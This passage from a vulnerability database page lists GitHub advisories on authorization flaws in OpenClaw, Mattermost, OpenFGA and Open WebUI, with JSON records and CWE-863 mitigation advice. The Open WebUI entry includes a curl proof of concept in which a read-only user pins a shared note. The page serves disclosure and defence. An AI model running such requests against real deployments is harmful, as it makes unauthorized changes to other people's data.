  1. BlueBubbles DM policy defaults to pairing (dmPolicy ?? "pairing").
  2. Effective allowlist can be empty (effectiveAllowFrom).
  3. DM/reaction authorization called isAllowedBlueBubblesSender(...).
  4. That delegated to shared isAllowedParsedChatSender(...), which previously returned true for empty allowlists.
  5. Result: unknown senders could bypass intended pairing/allowlist gating when allowFrom was empty.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Vulnerable versions: <= 2026.2.21-2
  • Planned fixed version: 2026.2.22

Fix

The shared parsed-chat allowlist helper now fails closed on empty allowlists, restoring expected BlueBubbles DM gating behavior. BlueBubbles inbound gating was also refactored to use one shared DM/group decision helper for both message and reaction paths to reduce future drift.

Fix Commit(s)

  • 9632b9bcf032c5f2280c3103961fde912ab1f920
  • 2ba6de7eaad812e5e8603018e14e54e96bdd57dd
  • 51c0893673de8e5cea64e64351dbfa4680ba0dec
  • 4540790cb62412676f7b61cfc6e47443f84a251e

OpenClaw thanks @tdjackey for reporting.

Severity
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22170"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T19:44:50Z",
    "nvd_published_at": "2026-03-18T02:16:21Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nBlueBubbles is an optional OpenClaw channel plugin. A configuration-sensitive access-control mismatch allowed DM senders to be treated as authorized when `dmPolicy` was `pairing` or `allowlist` and `allowFrom` was empty/unset.\n\n### Severity Rationale (Medium)\nSeverity is set to **medium** because:\n- this affects an optional plugin, not core messaging surfaces;\n- many deployments use owner-controlled/private BlueBubbles identities with limited external reachability;\n- practical exploitability depends on an untrusted sender being able to reach that specific BlueBubbles account identifier.\n\nIn typical personal/self-hosted BlueBubbles setups, the mapped Apple identity is single-owner and not broadly reachable, so this is usually low practical risk.\n\nRisk is higher in deployments where the identifier is publicly reachable and/or agent tool permissions are broad.\n\n### Technical Details\n1. BlueBubbles DM policy defaults to `pairing` (`dmPolicy ?? \"pairing\"`).\n2. Effective allowlist can be empty (`effectiveAllowFrom`).\n3. DM/reaction authorization called `isAllowedBlueBubblesSender(...)`.\n4. That delegated to shared `isAllowedParsedChatSender(...)`, which previously returned `true` for empty allowlists.\n5. Result: unknown senders could bypass intended pairing/allowlist gating when `allowFrom` was empty.\n\n### Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Vulnerable versions: `\u003c= 2026.2.21-2`\n- Planned fixed version: `2026.2.22`\n\n### Fix\nThe shared parsed-chat allowlist helper now fails closed on empty allowlists, restoring expected BlueBubbles DM gating behavior. BlueBubbles inbound gating was also refactored to use one shared DM/group decision helper for both message and reaction paths to reduce future drift.\n\n### Fix Commit(s)\n- `9632b9bcf032c5f2280c3103961fde912ab1f920`\n- `2ba6de7eaad812e5e8603018e14e54e96bdd57dd`\n- `51c0893673de8e5cea64e64351dbfa4680ba0dec`\n- `4540790cb62412676f7b61cfc6e47443f84a251e`\n\nOpenClaw thanks @tdjackey for reporting.",
  "id": "GHSA-jwf4-8wf4-jf2m",
  "modified": "2026-03-18T21:52:51Z",
  "published": "2026-03-04T19:44:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-jwf4-8wf4-jf2m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22170"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/2ba6de7eaad812e5e8603018e14e54e96bdd57dd"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/4540790cb62412676f7b61cfc6e47443f84a251e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/51c0893673de8e5cea64e64351dbfa4680ba0dec"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/9632b9bcf032c5f2280c3103961fde912ab1f920"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-bluebubbles-access-control-bypass-via-empty-allowfrom-configuration"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: BlueBubbles (optional plugin) pairing/allowlist mismatch when allowFrom is empty"
}

GHSA-JWHW-XF5V-QGXC

Vulnerability from github – Published: 2025-06-11 12:30 – Updated: 2025-06-11 15:44
VLAI
Summary
Mattermost allows guest users to view information about public teams they are not members of
Details

Mattermost versions 10.5.x <= 10.5.4, 9.11.x <= 9.11.13 fail to properly restrict API access to team information, allowing guest users to bypass permissions and view information about public teams they are not members of via a direct API call to /api/v4/teams/{team_id}.

Severity
3.1 (Low)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.0-20250422131222-701ddc896a10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.5.0"
            },
            {
              "fixed": "10.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.11.0"
            },
            {
              "fixed": "9.11.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-4128"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-11T15:44:39Z",
    "nvd_published_at": "2025-06-11T11:15:23Z",
    "severity": "LOW"
  },
  "details": "Mattermost versions 10.5.x \u003c= 10.5.4, 9.11.x \u003c= 9.11.13 fail to properly restrict API access to team information, allowing guest users to bypass permissions and view information about public teams they are not members of via a direct API call to /api/v4/teams/{team_id}.",
  "id": "GHSA-jwhw-xf5v-qgxc",
  "modified": "2025-06-11T15:44:39Z",
  "published": "2025-06-11T12:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4128"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/commit/2138a5f2ca6f75e2b99f6a04ea569d0f680c4fab"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/commit/701ddc896a107b13f457fbdbe229bce5019fc516"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattermost/mattermost"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mattermost allows guest users to view information about public teams they are not members of"
}

GHSA-JWRQ-8G5X-5FHM

Vulnerability from github – Published: 2026-04-17 21:35 – Updated: 2026-05-08 01:32
VLAI
Summary
OpenClaw: Collect-mode queue batches could reuse the last sender authorization context
Details

Summary

Collect-mode queue batches could reuse the last sender authorization context.

Affected Packages / Versions

  • Package: openclaw
  • Ecosystem: npm
  • Affected versions: < 2026.4.14
  • Patched versions: >= 2026.4.14

Impact

Collect-mode queued messages from different senders could be drained as one batch using the final sender's authorization context, allowing earlier messages to inherit a more privileged context.

Technical Details

The fix splits collect-mode batches by sender authorization context before dispatch, preserving each message's own trust state.

Fix

The issue was fixed in #66024. The first stable tag containing the fix is v2026.4.14, and openclaw@2026.4.14 includes the fix.

Fix Commit(s)

  • 43d4be902755c970b3d15608679761877718da69
  • PR: #66024

Release Process Note

Users should upgrade to openclaw 2026.4.14 or newer. The latest npm release, 2026.4.14, already includes the fix.

Credits

Thanks to @zsxsoft, with sponsorship from @KeenSecurityLab and @qclawer for reporting this issue.

Severity
6.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43535"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-266",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-17T21:35:35Z",
    "nvd_published_at": "2026-05-05T12:16:19Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nCollect-mode queue batches could reuse the last sender authorization context.\n\n## Affected Packages / Versions\n\n- Package: `openclaw`\n- Ecosystem: npm\n- Affected versions: `\u003c 2026.4.14`\n- Patched versions: `\u003e= 2026.4.14`\n\n## Impact\n\nCollect-mode queued messages from different senders could be drained as one batch using the final sender\u0027s authorization context, allowing earlier messages to inherit a more privileged context.\n\n## Technical Details\n\nThe fix splits collect-mode batches by sender authorization context before dispatch, preserving each message\u0027s own trust state.\n\n## Fix\n\nThe issue was fixed in #66024. The first stable tag containing the fix is `v2026.4.14`, and `openclaw@2026.4.14` includes the fix.\n\n## Fix Commit(s)\n\n- `43d4be902755c970b3d15608679761877718da69`\n- PR: #66024\n\n## Release Process Note\n\nUsers should upgrade to `openclaw` 2026.4.14 or newer. The latest npm release, `2026.4.14`, already includes the fix.\n\n## Credits\n\nThanks to @zsxsoft, with sponsorship from @KeenSecurityLab and @qclawer for reporting this issue.",
  "id": "GHSA-jwrq-8g5x-5fhm",
  "modified": "2026-05-08T01:32:26Z",
  "published": "2026-04-17T21:35:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-jwrq-8g5x-5fhm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43535"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/pull/66024"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/43d4be902755c970b3d15608679761877718da69"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-authorization-context-reuse-in-collect-mode-queue-batches"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Collect-mode queue batches could reuse the last sender authorization context"
}

GHSA-JWVJ-G8PC-CX45

Vulnerability from github – Published: 2026-04-07 18:05 – Updated: 2026-04-07 18:05
VLAI
Summary
OpenFGA's BatchCheck within-request deduplication produces incorrect authorization decisions via list-value cache-key collision
Details

Description

In OpenFGA, under specific conditions, BatchCheck calls with multiple checks sent for the same object, relation, and user combination can result in improper policy enforcement.

Am I affected?

You are affected if you meet the following preconditions: 1. You execute BatchCheck operations which rely on context. 2. Multiple checks are sent within a single BatchCheck operation for the same user/object/relation combination, each containing context. 3. The contexts between those checks differ in a specific way

Fix

Upgrade to OpenFGA v1.14.0

Acknowledgement

OpenFGA would like to thank @bugbunny-research for the discovery and detailed report.

Severity
5.0 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.13.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/openfga/openfga"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.8.0"
            },
            {
              "fixed": "1.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34972"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-07T18:05:16Z",
    "nvd_published_at": "2026-04-06T21:16:19Z",
    "severity": "MODERATE"
  },
  "details": "### Description\n\nIn OpenFGA, under specific conditions, BatchCheck calls with multiple checks sent for the same object, relation, and user combination can result in improper policy enforcement.\n\n### Am I affected?\n\nYou are affected if you meet the following preconditions:\n1. You execute **BatchCheck** operations which rely on context. \n2. Multiple checks are sent within a single BatchCheck operation for the same user/object/relation combination, each containing context.\n3. The contexts between those checks differ in a specific way\n\n### Fix\nUpgrade to OpenFGA v1.14.0\n\n### Acknowledgement\nOpenFGA would like to thank @bugbunny-research for the discovery and detailed report.",
  "id": "GHSA-jwvj-g8pc-cx45",
  "modified": "2026-04-07T18:05:16Z",
  "published": "2026-04-07T18:05:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openfga/openfga/security/advisories/GHSA-jwvj-g8pc-cx45"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34972"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openfga/openfga"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenFGA\u0027s BatchCheck within-request deduplication produces incorrect authorization decisions via list-value cache-key collision"
}

GHSA-JX2X-J75F-XQ3J

Vulnerability from github – Published: 2026-05-14 20:18 – Updated: 2026-05-19 15:58
VLAI
Summary
Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access)
Details

Summary

The POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. All other write endpoints (update, delete, access/update) correctly check for write permission.

Details

Affected code: backend/open_webui/routers/notes.py lines 412-444

@router.post('/{id}/pin', response_model=Optional[NoteModel])
async def pin_note_by_id(...):
    # ...
    if user.role != 'admin' and (
        user.id != note.user_id
        and not await AccessGrants.has_access(
            user_id=user.id,
            resource_type='note',
            resource_id=note.id,
            permission='read',        # BUG: should be 'write'
            db=db,
        )
    ):
        raise HTTPException(...)

    note = await Notes.toggle_note_pinned_by_id(id, db=db)  # write operation

Compare with update endpoint (correct, line 318-327):

async def update_note_by_id(...):
    # ...
    and not await AccessGrants.has_access(
        permission='write',        # correctly checks 'write'
    )

PoC

Environment: Open WebUI v0.9.2, default configuration with notes sharing enabled.

Setup: 1. UserA creates a note 2. UserA shares note with UserB with read permission via POST /api/v1/notes/{id}/access/update with {"access_grants":[{"principal_type":"user","principal_id":"USERB_ID","permission":"read"}]}

Test:

# Step 1: UserB reads note (READ permission) -> 200 OK, write_access: false
curl -s http://TARGET/api/v1/notes/$NOTE_ID \
  -H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "write_access": false

# Step 2: UserB updates note (WRITE operation) -> 403 Forbidden (correctly blocked)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \
  -H "Authorization: Bearer $TOKEN_B" \
  -H "Content-Type: application/json" \
  -d '{"title":"HACKED","content":"pwned","data":{"type":"note"}}'
# Result: 403 Forbidden

# Step 3: UserB pins note (WRITE operation, but only checks READ) -> 200 OK (BUG!)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
  -H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": true

# Step 4: UserB can toggle pin repeatedly
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
  -H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": false (toggled back)

E2E Verified Result: - Step 1: UserB reads note (READ) -> 200 OK ✓ - Step 2: UserB updates note (WRITE) -> 403 Forbidden ✓ (correctly blocked) - Step 3: UserB pins note (WRITE via READ) -> 200 OK, is_pinned: true ✗ (BUG) - Step 4: UserB toggles pin again -> 200 OK, is_pinned: false ✗ (repeated write)

Impact

  • A user with only read access to a shared note can toggle its is_pinned status
  • This modifies the note's state without write authorization
  • The pin status change is visible to the note owner and all other users with access
  • Privilege escalation from read to write on the pin operation

Limitations: Only affects the is_pinned boolean field. Cannot modify title, content, or access_grants. Requires at least read access via explicit sharing.

Fix

One-line fix — change permission='read' to permission='write' in pin_note_by_id:

# backend/open_webui/routers/notes.py, line 437
- permission='read',
+ permission='write',

This makes the pin endpoint consistent with update and delete endpoints.

Severity
3.5 (Low)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45316"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:18:14Z",
    "nvd_published_at": "2026-05-15T22:16:54Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\nThe `POST /api/v1/notes/{id}/pin` endpoint performs a write operation (toggling the `is_pinned` field) but only checks for `read` permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require `write` permission. All other write endpoints (update, delete, access/update) correctly check for `write` permission.\n\n### Details\n\n**Affected code: `backend/open_webui/routers/notes.py` lines 412-444**\n\n```python\n@router.post(\u0027/{id}/pin\u0027, response_model=Optional[NoteModel])\nasync def pin_note_by_id(...):\n    # ...\n    if user.role != \u0027admin\u0027 and (\n        user.id != note.user_id\n        and not await AccessGrants.has_access(\n            user_id=user.id,\n            resource_type=\u0027note\u0027,\n            resource_id=note.id,\n            permission=\u0027read\u0027,        # BUG: should be \u0027write\u0027\n            db=db,\n        )\n    ):\n        raise HTTPException(...)\n    \n    note = await Notes.toggle_note_pinned_by_id(id, db=db)  # write operation\n```\n\n**Compare with update endpoint (correct, line 318-327):**\n```python\nasync def update_note_by_id(...):\n    # ...\n    and not await AccessGrants.has_access(\n        permission=\u0027write\u0027,        # correctly checks \u0027write\u0027\n    )\n```\n\n### PoC\n\n**Environment:** Open WebUI v0.9.2, default configuration with notes sharing enabled.\n\n**Setup:**\n1. UserA creates a note\n2. UserA shares note with UserB with `read` permission via `POST /api/v1/notes/{id}/access/update` with `{\"access_grants\":[{\"principal_type\":\"user\",\"principal_id\":\"USERB_ID\",\"permission\":\"read\"}]}`\n\n**Test:**\n```bash\n# Step 1: UserB reads note (READ permission) -\u003e 200 OK, write_access: false\ncurl -s http://TARGET/api/v1/notes/$NOTE_ID \\\n  -H \"Authorization: Bearer $TOKEN_B\"\n# Result: 200 OK, \"write_access\": false\n\n# Step 2: UserB updates note (WRITE operation) -\u003e 403 Forbidden (correctly blocked)\ncurl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \\\n  -H \"Authorization: Bearer $TOKEN_B\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"title\":\"HACKED\",\"content\":\"pwned\",\"data\":{\"type\":\"note\"}}\u0027\n# Result: 403 Forbidden\n\n# Step 3: UserB pins note (WRITE operation, but only checks READ) -\u003e 200 OK (BUG!)\ncurl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \\\n  -H \"Authorization: Bearer $TOKEN_B\"\n# Result: 200 OK, \"is_pinned\": true\n\n# Step 4: UserB can toggle pin repeatedly\ncurl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \\\n  -H \"Authorization: Bearer $TOKEN_B\"\n# Result: 200 OK, \"is_pinned\": false (toggled back)\n```\n\n**E2E Verified Result:**\n- Step 1: UserB reads note (READ) -\u003e 200 OK \u2713\n- Step 2: UserB updates note (WRITE) -\u003e 403 Forbidden \u2713 (correctly blocked)\n- Step 3: UserB pins note (WRITE via READ) -\u003e 200 OK, is_pinned: true \u2717 (BUG)\n- Step 4: UserB toggles pin again -\u003e 200 OK, is_pinned: false \u2717 (repeated write)\n\n### Impact\n\n- A user with only `read` access to a shared note can toggle its `is_pinned` status\n- This modifies the note\u0027s state without write authorization\n- The pin status change is visible to the note owner and all other users with access\n- Privilege escalation from read to write on the pin operation\n\n**Limitations:** Only affects the `is_pinned` boolean field. Cannot modify title, content, or access_grants. Requires at least read access via explicit sharing.\n\n### Fix\n\nOne-line fix \u2014 change `permission=\u0027read\u0027` to `permission=\u0027write\u0027` in `pin_note_by_id`:\n\n```python\n# backend/open_webui/routers/notes.py, line 437\n- permission=\u0027read\u0027,\n+ permission=\u0027write\u0027,\n```\n\nThis makes the pin endpoint consistent with update and delete endpoints.",
  "id": "GHSA-jx2x-j75f-xq3j",
  "modified": "2026-05-19T15:58:35Z",
  "published": "2026-05-14T20:18:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jx2x-j75f-xq3j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45316"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access)"
}
Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list